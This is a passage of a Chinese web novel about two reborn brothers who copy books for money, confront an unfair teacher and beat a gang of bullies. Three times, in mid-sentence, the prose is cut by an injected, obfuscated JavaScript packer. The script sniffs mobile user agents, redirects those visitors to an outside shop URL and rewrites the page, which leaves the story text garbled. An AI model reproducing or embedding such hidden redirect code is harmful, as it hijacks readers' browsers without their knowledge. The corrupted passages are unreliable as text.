江夜被说服了。 重生后,关于该如何赚到这第一笔银两,他也在思考。只要给他第一笔,后面的银子自然而然就会有了。后续不管是炒盐引,还是囤积仓房,或者投资商船,没有第一笔,都将寸步难行。 关键是这第一笔,该如何得到。 这估计就算两人的约定了。 两人说做就做,先是跟江秀才说两人要一同上学,并不需要他接送。接着就在次日放学后,前往清河镇上的唯一书坊——翰墨斋。 店主是个瘦削的中年人,姓冷,带着一副水晶眼镜,书生气颇浓。 因为清河镇非常之小,所以这店主也认识他们的父亲。 听到他们的来意,也看了他们的字后,冷老板道:“你们想抄,当然可以。首先声明,你们毕竟是新手,每页只给三文,最多就没有了。押金本来是一百文,看在你们父亲的面子上,我收你们五十文。注意,底本丢了,你们的押金不仅没了,还要再多付五十文。两位,意向如何啊?” 江夜:“没有问题。”他说完看向江寻。 江寻笑道:“我也没有——不过,我们身上没银子,押金付不出来。” 冷老板道:“那没有押金不行。” 江夜目光深沉,“我们可以就在你的店里抄。” 江寻点头,“正是,就在你店里抄。” 普通书坊都是有驻店抄手,书坊会管一顿午饭。但工钱会比领走底本更低一文,大概是一页纸才两文钱。 底本不拿出去,店主求之不得,也就允许两人留在坊里抄书。 兄弟俩拿了底本,又拿了白纸,就到了一旁开始做事。 江夜抄了没多久,心中就有些不耐。这样抄又要抄到什么时候?可让他仔细地再想,却想不到更好更妥帖的办法来。 他瞥了一眼一旁抄得认真的江寻,不由也继续了。 江寻是这样想的,关于事情,自然是能不做就不做得好。但他也深知,没有银子很多时候都是寸步难行的。所以就算是没有江夜,他也是得想办法赚点银子。现在主角愿意带着他一起,他自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363403|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得贡献自己的一份力。 但毕竟年纪太小,抄了一页,大约五百字左右,手已经酸得不行了。 一旁的江夜比他大一岁,对他说:“你累了的话先休息。” 江寻点头,坐在一旁捏着手。 他一边捏手,顺便跟系统闲聊。 “你这个系统不给我点奖励什么的吗?” 系统:“有啊,会告诉你剧情发展,帮你规避危险,当然,最重要的能帮你活下去。每增加一点好感度,就是一年寿命!” “好大一个奖励。” “过奖。” 江寻:……他没有在夸它。 “话说回来,我真没想你们俩会发展这么快,他好像对你完全卸下了防备。” “他只是需要一个伙伴。”江寻这样说完,看向努力写字的江夜。便也站起来,继续抄书。 两人合力在天黑前,抄了十五页。 结算的时候,那店主一页一页地查对,心中充满了感叹,实在无法想象这些工整漂亮的字出自这两个孩子之手:几乎没有错误,且墨色均匀、页面干净,堪称典范。 怎么会这么好——他可以确定不可能会有人替他们抄的。 他付给他们三十文,额外又多付了五文当赏钱,又问“你们明日还来吗?” 江夜:“还来。” 江寻也跟着点头。 “那好。”书坊老板:“明日再来。” 两人正要离开,江寻抬头看到墙上挂着一个木牌子,上面提出了对林直体的《心经》屏风,招聘专门的抄手,起步价是二十文一页。 他问老板:“你们书坊还对林直体有需求?” 说这话的时候,江夜也看了过来。 冷老板道:“需求很大,林直真迹价值连城,一副尺牍可值数百两。怎么,你有认识相关的人么?” 江寻笑,“没有。”想不到两百年后的今日,自己的字迹还能成为珍品。 不过,他还是别树大招风了。 他和江夜离开翰墨斋,往家的方向而去。 回去自然遭到江秀才和张氏的询问,但他们就说去书坊看书了。他们宠爱江寻,也就没说什么。说是没说,但该完成的描红还是得完成。 但两人抄了一下午书,手都抄麻了,笔都提不起来。 口上是答应要完成,但一沾床,两人就都睡着了。 想起吴夫子必然会责怪,两人暂时也想不到更好的办法。 早起的时候,江寻想到了办法。 装病。 他对已经起来的江夜道:“你去跟我娘说,说你跟我都有些伤寒,不去学堂了?” 正准备去上学的江夜:“伤寒?” 江寻:“嗯,不然你有更好的主意?” 江夜当然没有,他是打算过去跟那个吴老头硬杠,本来一切就是他先作妖,这个描红他本就不需要写。 “两个人一起都得病,不太可能。你先休息,我去上学吧。” 江寻见他这样说,也没阻拦。他跟爹娘说病了,需要休息,两人自然是允许。也就五岁,休息就休息吧。 江寻乐得摆烂,在家睡到自然醒,才慢悠悠地把昨日的和今日的描红都完成了。完成了才跟娘亲说,自己又要去书坊看书。 到了书坊,就看江夜也到了,他看到他的脸上有些淤青,关心地问:“夫子没为难你吧?”应该不至于打他。 如果不是夫子打的,会是谁打的? 江夜摇头,“没有。——我们抄书吧。” 江寻也不好说。当然,如果安慰一下他,可能可以推进任务。但他感觉现在的江夜只想一个人静一静。 又忙了一下午,他们又得了三十五文。 凑够了能把底本带回家的银子。他们便把底本带回了家,在家抄书。 然后,他们还把得来的抄书费用,分了大约一文钱买其他同学的描红。对象就是沈德福。 这样的话,他们可以静下心来完成抄书。 这一抄,就是两年多。 两年抄下来,两人积攒了大约二十两。也在抄书的过程中,建立起了坚实的革命友谊。 4. 讨理 跟抄书一起推进的还有他们的学习课程。 也从《三字经》到《百家姓》,完成“三百千”后,开始接触《孝经》,并新增珠算的入门学习。练字则到了临摹楷体基本字,每日临帖五十个字。 到了明顺七年的时候,他们正式接触四书五经。 除了学习《四书外》,还有学习对课。 今日夫子开课,先出“红颜”一对,然后让他们写对子。 江寻托着下巴,工工整整地在纸上,写下了“红颜”两个字。 但对什么,他还没想好,或者说,如何能对得不上不下,不至于垫底又平平无奇,这是个问题。 他习惯性地转头,想去看江夜。自从一起抄书后,两人为了不断地改进自己的抄书技能,江夜索性就将座位调到了他的后方。两人习惯性地讨论了。 只不过他一转头,立即就有个显眼包朱红喊:“夫子,江寻偷看!” 江寻耸耸肩地转过去了。经过他不屑的“努力”,他在学堂里的成绩属于垫底的水平。 而其实垫底的话,是有诸多好处的:比如吴夫子从来不会多给他一点目光,其他人也不会以他为榜样。所谓能力越大,责任越大,没有人会指望他能做出什么惊天动地的事情。 只是说他会抄袭,大可不必。 只不过就算他不要,江夜也会主动给他答案。 过了一会儿,江夜交卷,经过江寻时,把卷子侧了一边给他。江寻接收到了。 他的答案是“青史”。 是个好对。 他其实心中有一对,比如红颜对白发,但这也太俗气了,想来张迅疾等人想到的也是这个。 他正想着,那边江夜回来了,经过他身边时,低头问,“还没想好?” 江寻摇头。 江夜瞥了一眼台上的夫子,低声道:“绿鬓。” 这个对子更好。但他的情况比较特殊,用不着。江寻灵机一动,有了!他迅速地写了一对字交上去。 等到夫子点评的时候,便问江寻:“为什么对绿水?” 江寻站起来,指着窗外,故作天真地答:“回夫子,雨停了,叶子红的花……倒影在水里。” 吴夫子没能得到想要的答案,挥手让江寻坐下来了,对众人道:“虽出偶然,却也妥帖。” 江寻就是要这个结果,心满意足地坐下了。 接下来夫子点评其他人,当然第一的还是江夜,其他人么,比如沈德福是红颜对白发。 朱红对的是,红颜对黄金,气得吴夫子喊了声,“孺子不可教也。” 堂上欢声笑语的。 上完对课,吴夫子让他们休息。休息,每人要练字。而这是江寻最喜欢的环节——凡是不务正业的他都喜欢。 课余,江寻转过头去找江夜,两人一起分享点心。这是他们的娘给他们做的。 今日的是红豆酥,刚打开,香气萦绕扑鼻,酥还是热的。江寻拿了一块,放嘴里吃了。 江夜不太饿,反倒问:“红颜对青史,你猜我为什么这么对?”相处两年,他能感觉他的弟弟江寻并不是那种真的草包。 江寻咽下一口,慢条斯理:“红颜是色相,青史是名相?” 江夜笑:“我没想那么多,只是觉得工整。红和青都是正色,平平对仄仄。——你为什么对绿水?”不跟夫子说,可以跟他说吧? 江寻也许吃得欢,也没想防备什么——实际上,跟其他人还装装,但因为和江夜朝夕相处,一直伪装也是挺难的事。 “红颜易逝,绿水长流嘛。” 江夜套出了想要的答案,“这寓意比我的好多了。”他看江寻嘴角有脏的,给他递出了帕子。 江寻接过了。 吃了红豆酥,才开始练字。 对于江寻来说,唯一无法隐藏的,大概就是他的字。这已经刻在他骨子里的,所以他也决定不为难自己。 他的字非常之好。 但让人可笑的是,吴夫子以为这是他的训练结果,还说要举行一场小比试。当然对于江寻来说,比试什么的不重要,重要的是,前三可以不需要再练字了。 下了学,他和江夜正要回家去。 路上江夜对他说:“接下来我们不抄书了。这两年也抄够了。” “那不抄书,准备做什么?” 江夜道:“我说过要带你赚钱,你只管信我就是,还是你不信我?” 江寻笑,“怎么会不信你?我相信你。——但是抄书已经作熟了,倒也不必马上断。我还是蛮喜欢抄东西的。” 江夜:“好,听你的。” 回了家,又是练字读书,吃了晚饭后洗漱睡觉,日子过得简单又寻常。 次日一早,到了学堂,先是背诵。 江寻自然是会背的,趁着夫子在教其他人的时候,他也假装背书。当然看似是背书,其实是打瞌睡。每日卯时就上学,鸡都没叫多久呢。他都困死了。何况,他有个独门绝活,那就是睁着眼养神,夫子还看不出来。 刚想继续偷懒,那边朱红又叫开了,“夫子,他在睡觉,没有好好背书。” 几个孩子都转过来偷看他。 江寻叹气,“我背好了啊。” 朱红道:“又吹牛了。” 一旁沈德福说:“这倒是真的,每次看阿寻睡觉,但他每次都能完成。”这已经成为学堂的十大谜团之一了。 江寻感激地看了眼替他说话的沈德福。 此时江夜也跟着说:“我一直带着阿寻背,阿寻确实已经会背了。” 见大家都怼他,朱红自讨没趣,才转回去了。 江寻耸耸肩,继续修养心性。 背书之后,才是练字比试环节。 吴夫子要求他们写一首小诗,形式不拘,时间是一炷香。 江寻写得很快,写完还欣赏了一遍。因为距离交卷还早得很,他便看起了从翰墨斋借的书。书坊老板因为他长期为他抄书,借他时还便宜了。 看完抬头一看,就看窗外的雨点打进来,将他写好的大字都晕开了,也不知是谁故意把窗户打开了。 他只能重写,但再看时间,已经快来不及了。 他正要重写,就看身后的江夜喊了他一声。 江寻回头,低声,“怎么?” 江夜将自己的字递给他,“用我的,我写得快。” 江寻:“算了吧。” 江夜坚持。 江寻没再坚持,不得已拿过了江夜的字。这次江夜写得是楷体,这是吴夫子要求的,每个人只能写这个。江寻担忧着江夜,本以为他会来不及,但在一炷香结束时,江夜也顺利地交卷了。 成绩很快就出来,前三名居然没有两兄弟。 那边张迅疾得意洋洋,“你们的字还差得远呢,别以为自己真的行。” 江夜想上前教训,被江寻拉住了。 “算了,跟他也没什么关系。” 中午他们并不回家,要在学堂里吃。下午还有学习四书。 两人分享了娘亲张氏给他们带的食物,吃完,江夜道:“我去跟吴夫子讨理去。” 江寻慢吞吞地问:“怎么讨啊?” 江夜:“你担心我的话与我一起便是。” 江寻:“…………”这江夜性情乖戾,他每日都要提心吊胆的,哎——“行吧。” 江夜点点头,两人一起去了后堂,找到准备午休的吴夫子。 江夜拿着自己的和江寻的书法卷子,问:“请夫子告诉我和阿寻,为何我俩会榜上无名?无论是谁看了我俩的字,都没话说吧。” 吴夫子躺在摇摇椅上,悠哉悠哉,“所以你们便不把我这个老头子看在眼里,怀疑我的论断,以为自己能替书斋抄字赚点小银两就目中无人?我告诉你俩,可别做那井底之蛙了!” 这话说的,江寻不想出头都要出头了。他平生还真的没见过这么奇葩的人,“夫子非要睁着眼说瞎话的话,那我们也无话可说。” 吴夫子本来还优哉游哉,想着就算他这样,这两个毛娃娃能奈他的何?江夜一向盛气凌人,他已经习惯了。毕竟是神童。但没想到这成绩差劲的江寻也敢如此,蹭的一下就从椅子上坐起来了,手指着江寻道:“你说什么。” 江寻不卑不亢,“睁眼说瞎话啊。” 吴夫子怒极:“江寻,你那父亲不过是个秀才,你敢这么跟我说话。” 江寻淡笑,“我父亲是个秀才也比你睁眼说瞎话要强,而且两者好像没关系吧。” “你你你——你去把你的父亲叫来。” 一旁的江夜道:“叫来就叫来,叫来看看到底你有没有说瞎话,把好的说成是差的,把差的说成是好的。” 吴夫子本来是气盛得不行,突然也不知该怎么说了。他本就心虚,就是不想让这江氏兄弟如意。老脸沉着,道:“你们爱怎样怎样,反正成绩已经出了。”他也不让他们喊双亲,但也不给他们好过,老老实实给他练字去吧。 江寻道:“夫子非要这样欺负人,那恕我们也不能从命了。接下来的字帖,我们是不会再交了。”他说完,转头对江夜道,“我们走吧。” 江夜嘴角微扬,江寻要做的正是他要做的。之前配合,是看他是他们的夫子,现在他不把自己当人,也别怪他们不把他当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363404|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了。 加上现在江寻能跟他站在统一战线,让他觉得,就算自己受点委屈,也是值得的。 两人转身离开。 身后的吴夫子气得浑身发抖,指着他们的背影骂道:“你们大逆不道,忤逆老师,吴氏学堂不欢迎你们!” 江夜听了这话,转头道:“好啊,正好请其他人评评理。看看到底是你的学堂的名声重要,还是我们两个没书读重要。” 他说完,笑着带着江寻离开。 两人离开后,江寻还是有一丝后悔,他又出头了,他只是安安静静地读书啊。这清河镇也就一个好一点的吴氏学堂,如果不能在这里读,又该去哪?难不成家里蹲? 他倒是不介意在家里读书的,就是怕爹娘担心。 他正担忧着,江夜劝慰道:“别担心。这老头绝对不敢。” “万一他敢呢。这次不行,下次总有机会。出去说他的不是,估计也没人信。”举人在这个清河镇的份量还是太大了。 江夜:“那就家里读好了,总不能一直受辱。” 江寻:“那倒也是。” 江夜道:“何况,他不公是事实。你放心,他不敢真的让我们退学的。” 江寻看江夜信誓旦旦,似是掌握了吴夫子的什么秘密。 下午的经学课,相安无事。他们不理这吴夫子,吴夫子也不理他们,有种没有我,看你们怎么考科举的意思。 但江寻江夜并不在意,正好,夫子不管他们,他们也乐得自在。 散了学,两兄弟正准备回家,沈德福悄悄地跟他们说,“你们这次回家小心一点。”说完就跑了。 两人心中有了底。 刚进松树林,就看张迅疾带着人拦在他们跟前。虽然只是就半大的孩子,但气势是一点也不减。 张迅疾质问:“你们自己技不如人,跑去跟夫子说什么呢,实力不行就是不行,以为说几句就能改变现实吗?” 江夜冷笑,“实力不行?就是拿给随便任何一个人看,都自有分辨。何况,就凭你,你拿什么跟我比?拿你爹给夫子送的礼吗?” 张迅疾脸颊立即通红,“江夜,你个来路不明的臭小子,我忍你很久了!” 江夜道:“正好,我也忍你很久了。看来是上次被我打得还不够痛快,还想再被打一次。” 张迅疾想起上一次,那一次他带了两个人,本想欺负一下江夜的,没想到还是被他打了。这一次他是做好准备来的。 “你别得意,敢不敢跟我对打一次。” 江夜:“我有什么不敢的,你们敢来,我就敢去。只是胜负先说好,我赢了的话如何?” 张迅疾冷笑,“你怎么可能会赢,上次是你运气好。” “赢了以后看到我就要喊大哥,听明白了吗?哦,还有江寻。”他说着,挽了挽江寻的肩。 一旁的江寻冷汗都下来了,怎么还带他啊。 张迅疾瞥了一眼江寻,一直以来,江寻就很平静,如果说江夜过分优秀突出遭人嫉恨,但江寻就是黯淡得太多太多了。 如果他真的输了,喊江夜倒是没什么,还要喊江寻吗? 绝不可能!“成!” 江夜指着张迅疾身后的五个虾兵蟹将,“就你们六个吧,可别喊大人来。那我可要笑死了。” 张迅疾:“………就我们六个人。” 江夜要的就是这句话,这些小孩子,就陪他们玩玩,“地点就在山神庙,那里人少,时间是后日散学后酉时,吃了晚饭后。合理吧?” 对面的毕竟是只有九岁、十岁的孩子,几乎是江夜说什么,他们也听什么,全听他的号令。于是,这时间地点也定下了。 双方分别后,江夜回头问江寻,“你去吗?” 江寻:“你打算一对六?”看不出来,江夜这么猛啊。 江夜漫不经心,“就是来十个也不怕。” 江寻倒是也会一点点功夫,但他不喜欢出风头——尤其是这种无谓的争斗。但……他看着江夜眼神期待。他当然知道,这是个做任务的好机会。但他不太想直接插入江夜和张迅疾之间的矛盾之中。如系统所说,他们本就是死对头,势必有一战。 但,好歹也一起抄书两年多啊,抛开任务不说,也算朋友了吧。 哎,自己怎么就摊上了一个这么争强好胜的任务对象了呢。 “我去的话,我可能帮不上什么忙。” 江夜笑了,“没事,你能来就好。” 江夜的话音刚落,江寻听到系统在脑海里说,“恭喜你宿主,现在江夜对你的好感度上升到三点啦。” 江寻听后,“…………” 5. 商量 一起抄书两年只升了一点,陪他一起打架就升了一点。 自己以后是不是得多陪他打架啊。 还有,这什么大反派,想增加他的好感度也太难了吧! 江夜得到他的答案后,又问:“你怕不怕被打。” 江寻:“怕。” 江夜:“那你还来?” 江寻没正面答,而是问:“他们欺负过你?对吧。” 江夜道:“还记得我们抄书的第二天,你生病在家,我去上学?” “嗯。你被他们打了?” “他们哪里打得过我。”江夜淡淡道,“从那个时候开始吧。” 虽然江夜没直说,但江寻也知道这件事,系统也有跟他说过,说江夜一直有麻烦。只不过,他以为那个麻烦是自己。 “这个张迅疾是很讨厌,是该好好教训一下。你打算怎么对付他?” 江夜问:“你有什么主意?”跟江寻相处了一段时间,他能察觉江寻的主意还是挺多的。上辈子自己一直被这些人欺负,这辈子肯定要好好地扳回一局的。 江寻:“他们比我们都大一些,只能智取不能力敌。” 江夜颔首,“力敌也行,但你说智取就智取吧。” “要不然我们去问问沈福德要不要加入?” “沈福德?” 江寻:“多一个人就多一份力量。人多力量大。” 江夜同意了:“他应该不会参与。” 江寻笑,“给点银子就好,我去说吧。” 江夜颔首,“好。” 学堂里一半以上都是张迅疾的人,他们唯一能拉拢的也就只有沈福德了。 沈福德体胖,比同龄的孩子都要壮实得多。 次日上学,两人找了沈福德,表达愿意出点银子,请他帮忙,目的也是给点教训。 沈德福听说要打架,摇摇头道:“不成,俺娘不会同意我打架的。你们还是找别人吧。” 江夜见状,便拿出半贯铜钱放在沈德福跟前,“现在还要来吗?” 沈德福见了银子,就不知道飘哪里去了,咬咬牙:“成吧成吧。你们一直照顾我的生意。江哥又那么聪明,跟你们准没错。” 一旁的江寻笑,“这个江哥有没有我?” 沈德福:“自然有你啊,阿寻。” 有了人,仍是不够。 要知,张迅疾可是有六个人左右。 下了学,两兄弟和沈福德一起,去了趟山神庙,巡视了一下地形。 昏时的山神庙寂静无闻,只有一尊老神仙立在正殿当中。 江夜简单地安排了一下,他让沈德福躲在门后,让江寻躲在桌案底下。让他们没有他的命令,不要出来。 沈德福好奇地问:“夜哥,那你做什么?” 江夜道:“我吗?自然是收拾他们了。如果我发生意外,你们再出来。” 江寻看江夜信誓旦旦的,似有很有把握,所以没有他,他也可以的。又何必拉他入伙?真的差一个鼓励他的人吗? 他们从山神庙出来,在清河桥分手,各回各家,各找各妈。 打架是后日的事情,明日是沐休,也是拜拜的日子。 一大清早,张氏便收拾了香烛,她要去镇口的慈恩寺拜菩萨。寺庙外面就是集市,今日又是元日,便问江寻要不要去。 江寻自然要去,说实话,他还没逛过这个清河镇呢。穿越以来,一直都在读书读书读书,这并不是他的初衷啊。 他随口问了一下江夜,没想到他也说要去。 慈恩寺就在镇口南边。而他们每日读书走的都是后街,属于镇子的北面。 而清河镇最繁华的地方,其实是在前街这里,也叫南街。每月逢五,都有桥市,四乡农人都携货来到桥边交易,形成一个临时市集。 因为他们的年纪也不小了,张氏就让他们两人在寺庙门口等着,自己带着烛火进了寺庙。 他和江夜就在边上闲逛,查看着集市。 对于江寻来说,现在和自己那时的朝代并没有太多的改变,但因为前世的自己太忙碌了,并没有享受过这样浓烈的人间烟火。 集市非常热闹,有卖糖人的,卖泥娃娃的,卖针头线脑的和卖膏药的,一家挨着一家,把路挤得只剩窄窄一条。 他回头对江夜道:“对了,你上次打算怎么用那二十两?” 江夜道:“还没想好。”其实是尝试过了。他也是后面才知道年纪太小,是无法购买盐引的。且清河镇太小,也根本没有买盐引的地方。 其次就是他的身份不行。 大朔朝规定,如果想做盐商,得入商籍——即在官府登记为“商户”。据他所知,江秀才和张氏都不可能是商籍,其他办法也不是没有,但比较麻烦。 总之,没那么容易。 目前能想到的是到交引铺,让人出面替他购买。但……他年纪太小,就算找人,也很容易被人利用。所以他还在犹豫。 想着要不要等到考中秀才。有了秀才这个身份,被人欺负的概率就大大减少了。总之,此事不急于一时,反倒是可以想想用其他办法来赚银子。 他想到这,回头问江寻,“你有什么好主意吗?” 江寻道:“我看拿点银子一起卖点东西挺好的,你说呢。” 江夜:“卖点东西,卖什么呢?” 江寻笑:“比如卖香饮子啊。” 江夜:“这卖的人太多了。” 江寻道:“可是好像没人卖冰雪冷丸子。” 江夜一愣,“那是什么?” “一种很好喝的夏日点心。”江寻微笑,他所在的朝代大晟集市文化浓郁,如今往前发展了两百年后,很多秘方都已经失传了啊。 他前世最爱喝这个,还记得秘方做法。 江寻这样一说,倒是提醒了江夜,让他想起前世,还记得明顺八年异常酷热,也就是明年了,倒是可以低价囤冰,好好地赚它一笔。 “我们有机会好好安排一下。” 江寻笑着点头。 …… 从慈恩寺回来,江夜独自去了一趟吴氏学堂,给他亲爱的吴夫子放了一封信。他从窗外偷看吴夫子看完信后,吓得四处得看,估计是看到底是谁在找他麻烦。 江夜扬扬嘴角,所谓多行不义必自毙。吴夫子自身难保,想来也不会再对付他和江寻了。 他回到家,看到江寻正在灶房帮他娘亲做饭,心情柔软。 过了一会儿,江寻从里面出来,手里端着菜,“咦,你回来了?” 江夜颔首,目光落在他手里的盘子上,“蘑菇好香,你做的?” 江寻笑,“做着玩。娘说我很有天份呢。” 一会儿张氏也从灶房出来,笑道:“让你读书不好好读,整日不是做饭就是睡觉。过了年,你也要九岁了,县试也就三年内的事情,也没看你多上心。你要有江夜的一半,我也就阿弥陀佛了。” 江寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363405|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着坐下来,“娘亲嫌弃我了。” 张氏见江寻还有心情开玩笑,摇着头。 江夜道:“娘,江寻其实挺好的,字写得也好。” 张氏:“可背文章的时候总是磕磕绊绊的。” 江夜:“但他好歹是背下来了啊。” 江寻抓重点,“你听,好歹是背下来了啊。”他知道爹娘的担忧,宽慰道,“你和爹放心,这最起码,秀才总是能考上的。” 张氏:“……你秀才都考不上,你看你爹爹不削了你。” 江夜道:“娘亲放心,我会多帮着阿寻的。” 江寻一听,可别了。他看向江夜,看他话里的意思有几分真假。但江夜却不看他,只是埋头猛吃,吃的时候还不忘夸一句,“真好吃!” 江寻眼皮跳着,怎么办,有种不好的预感。 吃了晚饭,两人帮着张氏做了家务,才洗脸洗脚准备上床睡觉。 在床上,江寻盘着腿问:“你认真的?” 江夜正色道:“阿寻,我觉得你其实不笨,就是太懒了。” “…………” 江夜继续道:“你看你上课,不是打盹就是看闲书,回家,也从不背书;若不是每日去学堂,我都以为你的心根本不在科考上。——这县试还是挺难的。” 江寻努力争辩,“可是你不是也不背吗?” 江夜:“可我成绩好啊。” 江寻:“………”他的成绩也不差啊!“我没垫底呢。” 江夜;“………你的目标就是不垫底?” 江寻摆摆手,从架上抽了本书,顺势往榻上一歪,“放心吧,我绝对不垫底。”他说完,把书往胸前一扣,偏过头看向江夜,“这其实也是一种能力。” 江夜:“若是你垫底了怎么办?明年开始有季考,每三月一考,排名张榜。季考前,夫子肯定会安排小考,若是小考你垫底了,你可得听我的,好好努力才是。” 江寻信誓旦旦,“放心吧,绝对给你一个满意的答案。” 江夜摇摇头,他爬上床榻,瞥到江寻手里的书籍,看的书倒是很高深,虽然都是跟科考没有一点关系。这本的题目是《碾玉观音》。 他问:“讲什么的?” 江寻放下书,“那可有意思了,这说的是,府匠人崔宁与绣女秀秀的爱情故事。” “…………” 江寻:“说的是绣女秀秀,被郡王强取豪夺,好不容易逃出来后,跟夫君崔宁私奔,后又被抓了回去。” 江夜:“…………然后呢。” 江寻道:“然后女的被活活打死,年仅十九,男的被判流放了。崔凝被流放的时候,就在这个时候,秀秀追来了——” 江寻说到这里的时候,把声音压得很低。 他们所住的老房子本就阴冷,光线一般,此时又是半夜。江夜被这一声音弄得吓了一跳,抓了一下江寻的手臂,又马上松开了。 江寻笑了笑,拍拍江夜的手,“还没说完呢。” 江夜本就是个重生的,对鬼神之说信得很,但又不能被江寻看出自己怕鬼,尤其是自己还比他大那么多,便道:“深更半夜的,别说这个了,小心你夜里睡不着,知道吗?” 江寻已了然,笑笑,“好的。” 两人并肩躺下后,江寻问:“要不要躺里面?” 江夜:“………早点睡。” 江寻伸出自己的手臂,“你可以抓着。”他引的祸,自然他来解决。 6. 打败 江夜本还想逞强一下,现在也不想逞强了,轻轻抓住江寻的手臂,然后听到他的弟弟轻声道:“寝吧。” 江夜在心中轻轻嗯了声。 次日他们照常去学堂,早上先学习《大学》,吴夫子要求理解背诵。同时还要修习祭祀礼,和见面礼。 到了下午散学,江家兄弟,还有一个沈德福,先各自回家,吃了晚饭,吃完就去了山神庙。 临近年末,天色渐晚。 到了山神庙中,林中隐约还能听到鸱鸮的叫声,熹微照着庙里的山神像,显得有些可怖。 三人汇合时,张迅疾等人还没来。 他们按照江夜说的,提前安置好,江寻躲在桌案底下,沈德福则在躲在门外。只剩下江夜一个人在门口站着。 过了一会儿,就看张迅疾带着朱红几个人凶神恶煞地走进来了。 张迅疾看到江夜只有一个人,冷笑道:“上次你是侥幸,你真以为你一个人打六个也能行吗?” 江夜扬起一个灿烂却透着邪气的笑容,“可以试试。” 张迅疾见如此,不免心生退意。不是,这货这么强吗? 他们对着话,这些也被江寻听得一清二楚,这桌下的布帘恰好有个小洞,能让他看到外面的场景。既然江夜让他躲好,他也会听话,乖乖躲好的。 虽然在系统看来,他又错过了一个绝佳的任务机会。 但江寻想,江夜敢这样说,想必也有十足的把握。 果然很快,一切如他所料。 第一个小孩冲上来,江夜侧身一让,顺手抓住他的手腕往前一带,那人脚下不稳,扑通一声栽在地上。第二个还没反应过来,江夜的肘已经抵在他胸口,轻轻一推,他就往后踉跄几步,撞翻了后面的两个。 就这样一个接着一个的,“战事”开启后,江夜仿佛像是学过一般,左勾拳右勾拳的,刷刷刷两下,就把这六个小孩全部打得趴下了。 他看到张迅疾哎哟哎哟地躺在地上,满脸震惊,“你怎么那么厉害啊?” 江夜道:“如果你们不惹我,你们也不会知道。” 但这几人又怎么会甘心,很快又爬起来了。 但结果仍然是一样的。他们又被打趴下了,哎哟哎哟叫得更为惨烈。这些惨叫声听得江寻都不忍心了。 毕竟,都是一群孩子嘛。 也许是被弄烦了。 江寻看到那个朱红在江夜教训张迅疾的时候,抄起角落里的一个类似木板的东西——那板子上竟还钉着几枚生锈的铁钉,对着江夜就过去了。 江寻见状,忙从桌案底下钻了出来,快步上前,拽过江夜的胳膊往边上去了。而朱红的木板就这样跟他们擦身而去。 至于朱红,因为速度太快,直接撞到了柱子上,顿时头破血流了。 此时沈德福也从门外走出来,“这可是你们自己撞的,我就是见证人!” 朱红也不过是个十来岁的孩子,吓得哇哇大哭,拉着张迅疾道:“我头撞坏了,我会不会变傻,我还打算考举人呢。呜呜呜。天啊,我要被撞傻了,我要找我娘……呜呜呜。娘……娘……我要找我娘。” 张迅疾被他哭得心烦意乱,大声道:“别哭了!烦死了都!” 但朱红这个人本就脑袋一根筋,还是哭着,“我要去看大夫……呜呜呜,我要去看大夫……娘娘娘。” 江夜冷笑道:“你快带他去看大夫吧,否则小心变傻子咯。” 朱红一听,哭得更厉害了,张着嘴哇哇地叫,还用手背擦着眼泪。 江寻则忍不住道:“哎,先止止血吧。” 朱红感激地看了江寻一眼,忙用自己的袖子捂住了额头。 因为朱红受伤,这场小孩的斗争就这样宣告结束。张迅疾带着伤将残兵,离开了山神庙。隔着远远的,都能听到他们的鬼哭狼嚎声音。 他们远离后,沈德福赞叹道:“夜哥,你可太能打了,你学过?” 沈德福问的时候,江寻也看向江夜,他竟不知道。刚才他问系统,系统也说不清楚。 ——这个江夜好像比书中的更厉害。 江夜耸肩,“看人打过一点。——对了刚才谢谢你们了。”他是没想到阿寻会冲出来替他,他不由地地多看了江寻一眼。但看江寻也没有把这事放在心上。 沈德福道:“小意思。就是不知这张迅疾还会不会再来。” 江夜满不在乎:“再来就再来,难道还怕他?” 江寻道:“想是不敢了。”毕竟刚才可是被打得嗷嗷直哭啊。 他和江夜,跟沈德福分别,回了自己家。 江夜道:“接下来,我们能过一段太平日子了。我们好好过这个年吧。” 江寻也笑:“所以做这么多就是想好好过这个年?” 江夜笑着点点头。 山神庙的事情后,张迅疾等人看到他们果然绕道走了。——真的不幸碰到,那就恭恭敬敬地喊他们两个,“大哥”,“二哥。”,如果沈德福也在,便是“三哥”。 这可让他们好好地风光了一阵子。 这种情况一直持续到年前,年假开始。 学堂的年节都差不多,时间是腊月廿三至正月十五,还是挺长的。课业则是每日大字三张,以及复习背诵《大学》。不过,因为两人跟吴夫子闹掰了,大字是不会交的。 《大学》又会背了,等于没有作业。 